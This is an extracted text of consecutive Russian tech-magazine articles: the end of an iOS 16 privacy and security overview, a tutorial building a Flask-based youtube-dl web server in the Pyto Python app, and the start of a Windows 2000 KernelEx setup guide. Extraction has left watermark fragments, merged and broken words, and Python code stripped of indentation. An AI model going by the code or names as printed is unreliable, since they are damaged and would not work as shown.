вприложении Photo, но просмотреть содержимое этих альбомов было проще простого: достаточно лишь открыть папку с соответствующим названием. Многих пользователей такое положение дел не устраивало: в случаях, когда iPhone с плохо скрытыми фотографиями попадал в руки злоумышленников или просто любопытных, доходило даже до увольнений.

ВApp Store расцвел целый букет разнообразных приложений, скрывающих или защищающих доступ к приватным фото и видео. Удобство, безопасность и приватность подобных приложений вызывали массу вопросов. Наконец,

вiOS 16 появился механизм, позволяющий защитить приватные фото и видео от случайного просмотра стандартными средствами операционной системы.

В iOS 16 появилась возможность защитить приватные фото и видео от случайного просмотра

В новой версии iOS альбомы скрытых или удаленных фото и видео будут защищены: для доступа к ним по умолчанию потребуется авторизация через Face ID, Touch ID или с помощью кода блокировки. При желании пользователь сможет отключить такую авторизацию в настройках.

ФУНКЦИИ, ОТНОСЯЩИЕСЯ К БЕЗОПАСНОСТИ

Описанные выше функции имели отношение к защите конфиденциальности пользователя; теперь давай поговорим о возможностях, призванных повысить безопасность устройства или сделать использование прежних функций безопасности более удобным.

Lockdown Mode

Интереснее всего в iOS 16, хотя, вероятно, этой возможностью и редко пользуются, специальный режим Lockdown Mode, разработанный для защиты людей, чья общественная или профессиональная деятельность подвергает их риску персонализированных атак.

Lockdown Mode

Для активации режима потребуется не только включить данную настройку, но и перезагрузить iPhone. После этого смартфон заработает в особом безопасном режиме, некоторые функции устройства будут ограничены. В частности:

В сообщениях будут блокироваться все вложения, кроме фотографий. Также отключаются некоторые функции, например предварительный просмотр ссылок.

В браузере отключаются некоторые технологии, например JIT-компиляция JavaScript (за исключением сайтов, добавленных в белый список).

Блокируются входящие звонки, запросы и приглашения от незнакомых абонентов, которым пользователь раньше не звонил.

Активируется уже знакомый режим ограничения USB, в котором после блокировки экрана iPhone запрещена передача данных между телефоном и компьютером или аксессуаром.

Наконец, режим блокировки не позволяет установить профиль конфигурации или зарегистрировать устройство в системе внешнего управления

MDM.

Набор ограничений такой, чтобы использование устройства не сделалось совсем невозможным. Что-то мне подсказывает, что в режим Lockdown будут переводить телефоны не столько журналисты и политики, сколько родители, желающие обезопасить своих детей. Если тебя привлекает эта идея, то после включения данного режима на iPhone ребенка не забудь набрать с защищенного таким образом аппарата свой номер, иначе ты больше не сможешь до него дозвониться.

Passkeys

Разработчики Apple придумали очередной способ онлайновой аутентификации, который должен заменить логины и пароли. Согласно их замыслу, при регистрации на поддерживающем новую технологию сайте будет создана пара ключей асимметричного шифрования, один из которых (публичный) сохраняется на самом сайте, а второй (приватный) — в связке ключей твоего устройства (это может быть iPhone, iPad или компьютер Mac). Приватные ключи синхронизируются через iCloud с помощью облачной связки ключей и защищаются сквозным шифрованием.

Apple Passkey

Когда ты попытаешься залогиниться на сайте, тот сгенерирует сообщение, зашифрованное твоим публичным ключом. Расшифровать это сообщение сможешь только ты, как держатель приватного ключа, который, напомню, хранится на твоем iPhone.

Расшифровав сообщение, твой смартфон отправит на сайт ответ, подписанный приватным ключом. Сайт, в свою очередь, сможет проверить подлинность отклика, верифицировав твою цифровую подпись все тем же публичным ключом. Как видишь, все просто, прозрачно и в рамках классической схемы асимметричного крипто.

Предполагается, что вход на использующие данную технологию сайты будет совершенно прозрачным, если для этого используется одно из привязанных к твоей учетной записи устройств Apple. Если же ты захочешь войти на сайт с другого устройства (например, с компьютера под Windows), то тебе придется сканировать QR-код, использовав для этого свой iPhone. Для входа потребуется разблокировать устройство, что должно подтвердить твою личность.

Для авторизации под Windows придется отсканировать специальный QRкод

В Apple считают, что новая система со временем наберет популярность. Для начала в компании договорились с такими монстрами, как eBay, PayPal, Microsoft, NVIDIA, Best Buy, Cloud are и Carnival. Вероятно, список будет со временем расширяться, по крайней мере в США, где каждый второй смартфон — iPhone. Подробнее о новой системе можно почитать на сайте

Crast.Net.

Rapid Security Response

Эта функция описана на сайте Apple невнятно, но ее суть достаточно проста: включение Rapid Security Response позволяет устанавливать промежуточные обновления системы, аналогом которых выступают ежемесячные патчи безопасности Android.

Rapid Security Response

Face ID в альбомной ориентации

Тут еще проще: на iPhone 13 и 14 использовать Face ID можно будет как в портретной, так и в альбомной ориентации. Напомню, кстати, что относительно недавно в iOS 15.4 появилась возможность использовать Face ID на iPhone в случаях, когда у человека на лице медицинская маска, а еще раньше, в iOS 14.5, такая же функция добавилась в часах Apple Watch. Если в Face ID определялось, что пользователь в медицинской маске, то с помощью надетых на руку и разблокированных часов Apple Watch можно было разблокировать iPhone. Обрати внимание: обе этих возможности появились в промежуточных обновлениях системы, хоть и были анонсированы заранее.

iPhone можно разблокировать c помощью часов Apple Watch

IOS 14 И 15: ЧТО МЫ ПРОПУСТИЛИ

Apple далеко не всегда сразу внедряет функции, анонсированные в момент выхода новой версии iOS. Так, Отчет о конфиденциальности приложений появился лишь с выходом iOS 15.2, хотя был анонсирован во время релиза iOS 15.

Отчет о конфиденциальности приложений

В отчет попадает информация о выданных приложениям разрешениях, о том, как приложения их используют и когда они делали это в последний раз. Например, здесь можно узнать, что и когда запрашивало информацию о твоем местоположении.

А еще раньше, в iOS 14.5, в приложениях наконец заработала функция, которую в Apple назвали App Tracking Transparency. С этой версии iOS приложения должны запрашивать согласие на привязку пользователей к уникальному идентификатору Advertising ID, который позволяет однозначно идентифицировать устройство на различных сайтах и в приложениях. То есть следить, какие сайты ты посещаешь и какими сервисами пользуешься. И если в предыдущих версиях системы доступ к рекламному идентификатору у приложений по умолчанию был, то, начиная с iOS 14.5, такого доступа нет, и пользователь должен в явном виде согласиться со слежкой. К удивлению разработчиков «шпионских» SDK, такое согласие выдали всего 4% пользователей.

Казалось бы, что плохого в том, что за тобой немного подсмотрят, — тем более что идентификатор вроде как анонимный? Суть кроется в словах «вроде как». Буквально на днях разразился очередной скандал: оказалось, что в течение многих лет полиция массово и без каких-либо юридических заморочек использовала данные, любезно предоставляемые сервисом Fog Reveal. Сервис, в свою очередь, предлагает американская компания Fog Data Science LLC, которая была основана высокопоставленными выходцами из Департамента внутренней безопасности. Как показало журналистское расследование, полиция и другие государственные агентства получили доступ к информации об истории местоположения более 250 миллионов устройств.

По действующим правилам, если полиция направляет запрос в Google или Apple о том, какие устройства находились в радиусе N миль от таких-то координат с такого-то по такое-то время, ей необходимо иметь должным образом оформленное постановление (читай: бумаги, волокита, риск отказа). Более того, даже с корректно оформленным постановлением ответа от Google или Apple иногда приходится ждать неделями. Fog Reveal выдаст ответ на такой запрос автоматически, моментально и без каких-то там ордеров.

Дальше начинается интересное. Оказалось, что необходимые для обработки запроса данные Fog Reveal честно покупал у рекламных медиаторов, которые, в свою очередь, приобретают данные у владельцев рекламных SDK. В их число входят такие монстры, как Waze, Starbucks и крупнейшая в мире «экстремистская организация», владеющая популярными соцсетями, а также сотни других компаний.

Разумеется, рекламные идентификаторы полностью анонимны. Представители Fog утверждают, что не имеют возможности установить конкретное устройство или его владельца на основе имеющихся данных. Власти с этим не спорят: «Связи между рекламным идентификатором и личной информацией нет». И сразу после этого добавляют: «Но, если мы хорошо разбираемся в том, что делаем, мы сможем установить владельца устройства».

Практика показала, что проблем с выявлением владельцев смартфонов на основе даже такой анонимной информации у полиции не возникает (о том, как это делается, можно прочесть, например, в статье «Call Detail Record. Как полиция вычисляет преступников без сложной техники»).

ВЫВОДЫ

Когда я начинал работать над этой статьей, о функциях приватности и безопасности в iOS 16 не было известно почти ничего. Со временем появлялись все новые кусочки паззла, которые наконец оформились в целостную картину. Нововведений оказалось на удивление много, а подробностей их работы и деталей технической реализации — на удивление мало. Надеюсь, прочитанная статья поможет тебе разобраться, какие новинки в iOS 16 смогут быть небесполезны.

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ТРЮКИ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ДЕЛАЕМ ВЕБСЕРВЕР НА IOS

ИКАЧАЕМ ВИДЕО

СYOUTUBE-DL

Говорят, iOS невероятно закрытая система: ни написать свою программу без лицензии разработчика, ни заставить iPhone или iPad делать что-то, что не одобряют в Apple. Сегодня я познакомлю тебя с Pyto — интерпретатором Python для iOS, который позволяет творить... если не чудеса, то как минимум многие вещи, которые раньше считались невозможными без джейлбрейка.

Андрей Письменный

Главный редактор apismenny@gmail.com

Сначала посмотрим на сам Pyto, а потом смастерим простенький веб-интерфейс, который поможет более удобно скачивать видео через youtube-dl. Работать он будет локально на iOS.

PYTHONISTA

Pyto — не первая попытка создать среду разработки на Python для портативных устройств Apple. Уже много лет существует приложение Pythonista. Оно служило мне верой и правдой, позволяя как решать на ходу сиюминутные задачи (что-то посчитать, расшифровать, сгенерировать последовательность), так и создавать небольшие полезные приложения. В Pythonista есть свой графический интерфейс и некоторые возможности для взаимодействия с системой. К примеру, можно сделать периодически обновляемый виджет для экрана Today.

Однако разработка Pythonista остановилась уже больше пяти лет назад. Автор за это время появился на публике всего один раз и выпустил небольшой апдейт, который позволил приложению запускаться на современных версиях iOS. А затем снова пропал: ни ответов на форуме, ни постов в твиттере. И уж конечно, никаких новых фич в Pythonista.

ВСТРЕЧАЙТЕ — PYTO!

И тут на сцену выходит Pyto — тоже творение единственного разработчика, но зато полного сил и энтузиазма. А также, кажется, желания испытывать терпение модераторов Apple, постоянно идя по краю дозволенного в App Store. Pyto, к примеру, умеет запускать приложения в фоне, позволяет создавать локальные веб-серверы и даже имеет встроенную поддержку репозитория PyPI — ставить пакеты можно буквально одной кнопкой!

Установка приложений внутри приложения до сих пор была абсолютным табу в iOS. Любые лазейки в Apple прикрывали, из-за чего в ту же Pythonista новые пакеты приходилось протаскивать сложной цепочкой действий. Не исключено, что автору Pyto повезло и модераторы просто проморгали нарушения. Или же разрешать программистам некоторые вольности — это новая политика Apple. Поживем — увидим!

У Pyto большие возможности для работы с математическими функциями — к примеру, пакет NumPy, без которого не обходятся любые мало-мальски сложные вычисления, установлен по умолчанию. Также в Pyto удобно строить графики и даже пользоваться кое-какими средствами для машинного обучения. К примеру, мне без труда удалось поставить Gensim и поразвлекаться с разбором текстов.

Как и Pythonista, Pyto стоит денег: после трехдневного пробного периода тебя попросят раскошелиться на 750 рублей за базовую версию и 1400 за расширенную, с набором библиотек, требующих компилцяии. Но необходимость раскошеливаться — не главный недостаток Pyto.

Основной проблемой этого приложения остается невероятная сырость. Настолько мощная, что в болото багов можно провалиться по колено, если не с головой. И я не преувеличиваю: один раз мне удалось заклинить Pyto настолько, что даже перезагрузка не помогала.

Однако если держаться проторенных дорожек и пользоваться Pyto бережно и аккуратно, то он сослужит отличную службу.

ОСОБЕННОСТИ PYTO

Командная строка

В Pyto есть командная строка. Но учти, что это не Bash и внутри — не Linux. Это свой командный интерпретатор Pyto. Он поддерживает несколько основных команд Bash — список можно узнать командой help. Отсюда ты запустишь скрипты на Python, но на установку каких-то других программ рассчитывать не приходится.

Использование файловой системы

Важное отличие iOS от других операционок — в том, насколько сильно здесь контролируется доступ к файловой системе. Без разрешения скрипт в Pyto не может получить доступ ни к одной папке!

Хорошая новость заключается в том, что запрашивать права очень просто. Для этого в Pyto есть модуль le_system.

Пишем простенький скрипт:

import file_system as fs

path = fs.FolderBookmark()

print(path)

После его запуска появится диалоговое окно для выбора папки. Выбрав ее, ты дашь Pyto права на доступ ко всем файлам в ней. Именно Pyto, а не своему скрипту! Это означает, что дальше доступ к этой папке будет открыт всем программам внутри Pyto, в том числе после любых перезапусков и перезагрузок.

Если же по ходу исполнения скрипта тебе понадобится получать доступ к разным файлам или папкам, ты можешь воспользоваться функциями import_file() и open_directory() из того же модуля. Каждый раз при их вызове будет появляться диалоговое окно для выбора файла или папки.

Запуск фоновых задач

Еще одна особенность iOS — неиспользуемые приложения принудительно завершаются и выгружаются из памяти (если встретишь людей, кропотливо чистящих историю задач в iOS, передай им, что это мартышкин труд — ОС сама отлично с этим справится). Но что сделать, чтобы программа работала в фоне непрерывно? Для разных типов задач в iOS существуют API, все же позволяющие фоновое исполнение.

В Pyto используется нехитрый прием: если тебе нужна работа в фоне, то приложение будет делать вид, что проигрывает аудиофайл, тогда как никакого воспроизведения в реальности не происходит. Для активации этого поведения используй модуль background.

Чтобы программа начала лучше держаться на плаву, достаточно написать что-то в таком духе:

import background as bg

with bg.BackgroundTask() as task:

# Код для исполнения в фоне

Другие фичи и модули

В Pyto есть поддержка еще нескольких интересных возможностей: например, ты можешь активировать свои скрипты вызовами из Shortcuts или URL-схему

ипередавать им параметры. Другая мощная вещь — мост между Python

иObjective-C на основе библиотеки Rubicon-ObjC, он позволяет вызывать функции из нативных фреймворков.

КPyto прилагается неплохой набор модулей, для работы которых требуется компиляция. Самостоятельно добавлять такие модули, к сожалению, нельзя.

А также несколько собственных модулей для работы с iOS. Мы уже рассмот-

рели le_system и background, но есть и другие:

apps — интерфейсы к популярным сторонним приложениям. Позволяют из скрипта активировать другую программу и сказать ей сделать то или иное действие;

pyto_ui — фреймворк для разработки приложений с графическим интерфейсом. Позволяет рисовать окошки, кнопочки и прочие элементы управления;

widgets и watch — библиотеки для создания виджетов для экрана

«Сегодня» и часов Apple Watch;

sound, music и speech отвечают за воспроизведение звука, музыки

исинтез речи;

notifications позволяет отправлять оповещения;

location и motion дают возможность получать геокоординаты устройства

иопрашивать датчики движения;

pasteboard — взаимодействие с буфером обмена;

multipeer — позволяет обмениваться данными в режиме точка — точка.

Разбор всех этих замечательных возможностей не уместится в одну статью, так что выберем одну небольшую задачу, на которой испытаем Pyto в деле.

ПИШЕМ ВЕБ-СЕРВЕР

Задача

Проглядывая доступные в Pyto модули, я заприметил youtube-dl — широко известную утилиту для скачивания видео с видеохостингов. В том числе и тех, которые пытаются защитить контент от подобных действий. В общем, отличная штука! Но пользоваться модулем Python или утилитой для командной строки на мобильном устройстве не очень-то удобно.

Есть множество способов приделать с помощью Pyto более удобный интерфейс к youtube-dl, в том числе написать графическое приложение на одном из доступных GUI-фреймворков. Однако мне пришла в голову мысль попробовать использовать Pyto в качестве локального веб-сервера. Заодно можно будет посмотреть, как тут дела с веб-разработкой.

Инструментарий

Первым делом нам потребуется веб-фреймворк или как минимум библиотека, которая будет упрощать работу с HTTP. В документации мне встретилось упоминание Tornado и Django, но для нашей задачи и то и то — оверкилл. Достаточно будет Flask, который без проблем установился командой pip install flask и заработал.

Чтобы еще сильнее упростить себе жизнь, я буду использовать клиентский фреймворк HTMX, который позволяет делать асинхронные запросы без использования JavaScript. С ним достаточно задать тегу несколько HTMLатрибутов с информацией о том, куда слать запрос и куда подставлять полученный ответ. Остальное HTMX сделает сам.

Ну и чтобы внешний вид программы был не колхозным, подключим минималистичный CSS-фреймворк Pico.css.

Êîä

Первым делом импортируем все необходимое.

import flask

from youtube_dl import YoutubeDL from threading import Thread import sys

import urllib.request import os

import background as bg import file_system as fs

Инициализируем глобальную переменную path и задаем путь к папке, куда будут скачиваться видео. Подразумевается, что права на нее ты уже дал при помощи fs.FolderBookmark().

path = '/private/var/mobile/Library/Mobile Documents/

com~apple~CloudDocs/Pyto/'

В пару к веб-серверу обычно делают базу данных, но, поскольку мы будем работать исключительно в дев-окружении (в Pyto продакшен все равно не поднять), можно просто использовать глобальные переменные и хранить данные в памяти во время работы программы.

Инициализируем две переменные: в одной будет храниться имя скачиваемого файла, в другой — его размер.

filename = ''

size = 0

Создаем экземпляр класса Flask и делаем так, чтобы он активировался при запуске скрипта:

app = flask.Flask(__name__)

if __name__ == '__main__':

app.run()

Дальше создаем основу нашей программы — функцию для скачивания файла. Она получает ссылку на файл (link) и имя файла для записи (filename). Внутри мы при помощи urllib.request.urlopen() создаем запрос и при помощи request.getheader() получаем длину файла (заголовок content-length).

Это значение сохраняем в глобальную переменную size. После этого активируем фоновую задачу, которая сводится к скачиванию файла методом urllib.request.urlretrieve().

def download_file(link, filename):

with urllib.request.urlopen(link) as request:

global size

size = int(request.getheader('content-length'))

with bg.BackgroundTask() as task:

urllib.request.urlretrieve(link, path + filename)

Дальше — вспомогательная функция для получения текущего прогресса в процентах. Формула проста: нам понадобится поделить текущий размер файла на полный, а затем умножить на сто процентов. Текущий замеряем при помощи os.path.getsize() (путь и имя файла у нас хранятся в глобальных переменных). Если файла еще нет, возвращаем 0.

def get_progress():

filepath = path + filename if os.path.exists(filepath):

real_size = os.path.getsize(filepath) progress = int(real_size / size * 100) return progress

else:

return 0

Создаем обработчик, который будет возвращать главную страницу.

@app.route('/')

def hello():

return '''

# Здесь код страницы

'''

Сам код страницы следующий:

<html>

<head>

<script src="htmx.min.js"></script>

<link rel="stylesheet" href="pico.min.css"> </head>

<body><main class="container"><article>

<form hx-get="/go" hx-target="this" hx-swap="outerHTML"> <div>

<label>Ссылка на видео:</label>

<input type="text" name="video_url" value="" size="100"> <button class="btn">Качаем!</button>

</div>

</form>

</article></main></body>

В секции head мы подключаем файлы с нашими фреймворками — предполагается, что ты их предварительно скачал, но вместо этого можешь получить ссылки на версии в CDN и прописать их вместо названий файлов.

В body создаем теги main и article, чтобы воспользоваться сеточной версткой и вывести аккуратную белую карточку.

Но самое интересное — это тег form:

<form hx-get="/go" hx-target="this" hx-swap="outerHTML">

Здесь мы оставляем указания для HTMX: дергать сервер по адресу /go, а полученным результатом заменить весь тег. Таким образом форма у нас будет заменена на прогресс-бар.

Теперь давай добавим обработчик для пути /go.

@app.route('/go', methods=["GET"])

def go():

В качестве параметра пользователь пришлет нам ссылку на видео, расположенное на каком-то видеохостинге. Используя модуль youtube_dl, мы получим прямую ссылку на файл и название ролика. Для этого сначала создадим словарь с опциями (в каком качестве качать), потом экземпляр youtube_dl (назовем ydl), а потом передадим методу ydl.extract_info() наш URL из аргумента запроса. Достаем ссылку для скачивания и заголовок функцией info_dict.get().

youtube_dl_opts = {'format': 'best'} with YoutubeDL(youtube_dl_opts) as ydl:

info_dict = ydl.extract_info(flask.request.args['video_url'], download=False)

video_url = info_dict.get("url", None) video_title = info_dict.get('title', None)

Теперь нам нужно задать имя файла и сохранить его в глобальной переменной filename. Можно использовать название ролика, но в нем могут попасться символы, которые не понравятся файловой системе. Отфильтруем их и соберем новую строку.

global filename

filename = "".join(i for i in video_title if i not in ":*?<>|/

") + '.mp4'

У нас есть все параметры для функции download_file. Чтобы наш веб-апп отдал ответ клиенту и продолжил скачивание в фоне, запустим эту функцию как тред.

thread = Thread(target=download_file, args = (video_url,

filename))

thread.start()

Ну и наконец, отдадим клиенту ответ. Это заголовок h2 с названием ролика и пустой слой с еще одной порцией магии HTMX. На этот раз мы велим ему запрашивать страницу /status через одну секунду и пришедшим ответом заменять наш слой.

return f''' <h2>{video_title}</h2> <div hx-get="/status"

hx-trigger="load delay:1s" hx-swap="outerHTML">

</div>

'''

Осталось нарисовать прогресс-бар. Для этого пишем обработчик /status. Запрашиваем прогресс в процентах у нашей функции get_progress() и снова возвращаем слой с аргументами HTMX: послать новый запрос на /status еще через секунду и подменить текущий слой. Сам прогресс-бар есть в Pico.css: достаточно использовать тег progress и присвоить аргументу value текущее значение.

@app.route('/status') def status():

progress = get_progress() return f'''

<div hx-get="/status" hx-trigger="load delay:1s" hx-swap="outerHTML">

<h3>{progress}%</h3>

<progress value="{progress}" max="100"></progress> </div>

'''

Первый запуск

Итак, собираем всё воедино, не забываем дать Pyto права на указанную в самом начале папку и жмем кнопку Run. Запустится локальный сервер и будет отвечать на запросы, сделанные из браузера.

Переходим в Safari и запрашиваем адрес localhost:5000, где у нас работает сервер. Видим нашу форму (окно с Pyto на моих скриншотах открыто для наглядности, делать так же не обязательно).

Вставляем URL, и закачка пошла! Когда она завершится, файл должен оказаться в заданной папке.

К сожалению, несмотря на то что мы использовали модуль background, закрыть Safari и заняться чем-то другим до окончания скачивания нельзя. Как только клиентская часть веб-приложения перестанет слать запросы к серверу, iOS таки поставит его процесс на паузу. Однако мои эксперименты показали, что без background процесс с Pyto может затухнуть даже во время того, как ты сидишь и наблюдаешь за скачиванием.

ВЫВОДЫ

Мы написали простенький веб-сервер, который позволяет скачивать видеофайлы. При необходимости ты можешь придумать какой-то способ для его вызова, например при помощи Shortcuts.

Возможности Pyto тем временем не ограничиваются разработкой веб-при- ложений. С его помощью ты можешь творить самые разные программы и наделять свой айфон или айпад новыми фичами.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ТРЮКИ

w Click

to

 

 

 

o m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

КАК ВЫЖИТЬ В WINDOWS 2000

В 2022 ГОДУ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Если спросить пользователей, какую версию Windows они считают самой удачной, надежной и удобной, многие проголосуют за Windows 2000. Жаль, но под нее уже не найти драйверов, не установить современное ПО, не настроить Wi-Fi, да и вообще полноценно пользоваться ей сегодня уже невозможно… Или все-таки возможно? А давай проведем эксперимент: установим и сконфигурируем Win2K так, чтобы она смогла служить полноценной рабочей ОС на каком-нибудь старом компьютере!

Валентин Холмогоров

Ведущий редактор valentin@holmogorov.ru

Безусловно, в 2022 году «официальная» Windows 2000 даже с установленным SP4 — это все-таки операционная система 19-летней выдержки, и работа

вней будет напоминать изощренную пытку. На Windows 2000 не установится ни один современный браузер, а без него, в свою очередь, ты не сможешь нормально серфить в интернете. Неизбежно возникнут проблемы с поддержкой и других прикладных программ, с подключением к беспроводным сетям, с периферией, появившейся на свет намного позже самой операционной системы. Главная причина всех этих проблем — отсутствие в устаревших библиотеках Windows 2000 целого ряда функций, которые используют современные программы. Ну и конечно же, дефицит драйверов.

Поэтому мы не будем даже пытаться водрузить на компьютер Windows 2000 в ее первозданном виде. Вместо этого мы установим на нее пакет KernelEx, созданный жителем Японии с таинственным ником BlackWingCat. KernelEx — это расширение ядра для Win2K, которое добавляет в нее ряд библиотек и системных файлов из Windows XP, в результате чего в этой системе смогут работать некоторые программы, успешно запускавшиеся в XP и даже

вVista.

Некоторые, но, конечно, далеко не все. Тем не менее, внедрив в Windows 2000 KernelEx, установив дополнительный софт и немножко поковырявшись в настройках, можно превратить «двухтысячную» во вполне рабочую систему, которая вдохнет вторую жизнь в какой-нибудь старенький ноутбук. А таких у меня много: для экспериментов я выбрал Toshiba Satellite P35 на Pentium 4 с 512 Мбайт оперативки и IDE-винчестером на 40 Гбайт — когда-то это был очень мощный игровой ноутбук, а сейчас — почти музейный экспонат. Windows 7 на нем запускается, но постоянно жалуется на нехватку памяти, зато ХР работает вполне сносно, а значит, должна пойти и «двухтысячная». Итак, приступим к сеансу некромантии!

ПАТЧИМ СИСТЕМУ

Чтобы установить расширение ядра KernelEx на Windows 2000, нам понадобится как минимум сам KernelEx и, как ни странно, Windows 2000. Еще нам будет нужна утилита HFSLIP — это программа с открытым исходным кодом, предназначенная для добавления в установочный образ Windows 2000/XP всех актуальных обновлений.

Дистрибутив винды можно скачать, например, с сайта Old-DOS — там есть и русские версии, либо с Winworldpc.com — на этом сайте представлены клас- сические английские дистрибутивы. Я советую выбрать вариант с предустановленным SP4, причем для наших экспериментов лучше использовать английскую версию, чтобы не возникло конфликтов с HFSLIP и KernelEx, — потом при необходимости на установленную систему можно будет накатить MUI. В качестве альтернативного варианта можно скачать отдельно образ ОС, отдельно — сервис-паки и интегрировать их в дистрибутив c помощью прог- раммы nLite (перед ее использованием не забудь внимательно прочитать руководство).

Последнюю версию KernelEx загрузи с сайта разработчика. Сайт представлен на японском языке, но для настоящего гика это не помеха: ты можешь сделать харакири воспользоваться онлайн-переводчиком. В качестве альтернативы можно скачать KernelEx с отечественной площадки Old-DOS, но там представлены не самые свежие версии.

Итак, открой ISO-файл с дистрибутивом в каком-нибудь архиваторе (например, 7-Zip) и распакуй его содержимое на диск. Теперь скачай HFSLIP: для этого перейди по следующей ссылке, в облаке MEGA зайди в папку HFSLIP → FullPack и загрузи оттуда архив с расширением .7z.

Скачиваем HFSLIP

Распакуй содержимое скачанного архива в какую-нибудь папку на диске. Кроме множества директорий, ты увидишь в этой папке исполняемый CMDфайл — запусти его от имени администратора. Скрипт создаст несколько новых директорий, среди которых будет папка SOURCE. Перемести в эту папку все папки и файлы из распакованного тобой образа диска Windows 2000.

Теперь нам предстоит временно отключить в нашей системе UAC (User Account Control): если мы этого не сделаем, каждая выполняемая HFSLIP операция будет сопровождаться всплывающим системным предупреждением и нам придется нажимать «Да» больше 200 раз. Даже самому терпеливому юзеру это очень быстро надоест. Для отключения UAC в Windows 10 нужно сделать следующее. Открой панель поиска щелчком мыши на кнопке с изображением лупы в панели задач, набери UAC и нажми появившийся значок «Изменение параметров контроля учетных записей». Перемести ползунок вниз в положение «Никогда не уведомлять» и нажми «Оk», затем подтверди это действие в открывшемся окне.

Отключаем UAC

Теперь снова запусти файл .CMD в папке HFSLIP с правами администратора. Тебе предложат выбрать, как интегрировать обновления в дистрибутив Windows 2000: добавить компоненты в DRIVERS.CAB с разной степенью компрессии либо создать новый архив SPX.CAB также с использованием разной степени сжатия. Я предпочел вариант А.

Выбираем режим работы HFSLIP

На следующем экране тебе предложат задать имя папки на случай, если ты используешь мультизагрузочный компакт-диск. Этот шаг можно пропустить, нажав клавишу Enter. Теперь нужно подождать, пока утилита HFSLIP завершит свою работу — это займет некоторое время. Когда все обновления будут интегрированы, в папке с HFSLIP появится новая директория SOURCESS, а в ней — новый модифицированный дистрибутив Windows 2000, большего размера, чем исходный. C этим дистрибутивом мы и будем работать дальше.

УСТАНАВЛИВАЕМ WINDOWS 2000 И KERNELEX

Для начала нужно собрать обновленный дистрибутив в файл .ISO — это можно сделать, например, с помощью бесплатной программы CDBurnerXP. Установи и запусти программу, перетащи все файлы дистрибутива в окно CDBurnerXP, а затем выбери в меню «Файл» пункт «Сохранить проект как ISO-образ». Если компьютер, на который ты собираешься устанавливать Windows 2000, оборудован оптическим приводом, можешь сразу записать этот образ на ком- пакт-диск.

Сохраняем проект в образ ISO

Если оптического привода нет, получившийся образ нужно записать на флешку с помощью программы Rufus — не забудь сделать флешку загрузочной! Теперь нужно установить Windows 2000 c этого носителя на наш компьютер. Если ты все сделал правильно, установка должна пройти стандартно без каких-либо сложностей.

Установка Windows 2000

Если на твоем компе используется диск SATA (а такие диски установлены практически на всех современных компах и ноутбуках), Windows 2000 на него не встанет из-за отсутствия соответствующего драйвера — на начальном этапе установки ты получишь ошибку inaccessible_boot_device. Этот драйвер придется предварительно интегрировать в дистрибутив. Как это сделать, написано на форуме Ru-Board, сам драйвер можно взять на сайте разработчика или на портале Old-DOS.ru. Еще можно поп-

робовать добавить

драйвер

в дистрибутив

с помощью утилиты

nLite

(работает только

в Windows XP), но ни один из этих вариантов не гарантирует стопроцентного успеха. На компьютерах с дисками IDE Windows 2000 установится без всяких плясок с бубном.

После завершения установки Windows 2000 необходимо установить KernelEx. Чтобы при инсталляции не было проблем, лучше скопировать исполняемый файл на рабочий стол и запускать его оттуда. Если после запуска KernelEx будет выдавать ошибки и жаловаться на недоступность Shell32.dll, перезапусти Windows в SafeMode и установи KernelEx в этом режиме. Если программа попросит тебя выбрать режим работы KernelEx, установи флажок XP-compatible winsock.

XP-compatible winsock необходим для правиль-

ной работы Outlook 2007, но использование этой опции может вызывать зависание браузеров и других программ. Если ты не планируешь устанавливать Microsoft Outlook, лучше на всякий случай снять этот флажок.

После установки KernelEx система перезагрузится. Если тебе нужно использовать несовместимые драйверы XP, более 4 Гбайт оперативной памяти или больше двух потоков процессора, придется дополнительно установить Extended Core — его также можно скачать с сайта BlackWingCat или с

MSFN.org.

УСТАНАВЛИВАЕМ OFFICE 2007

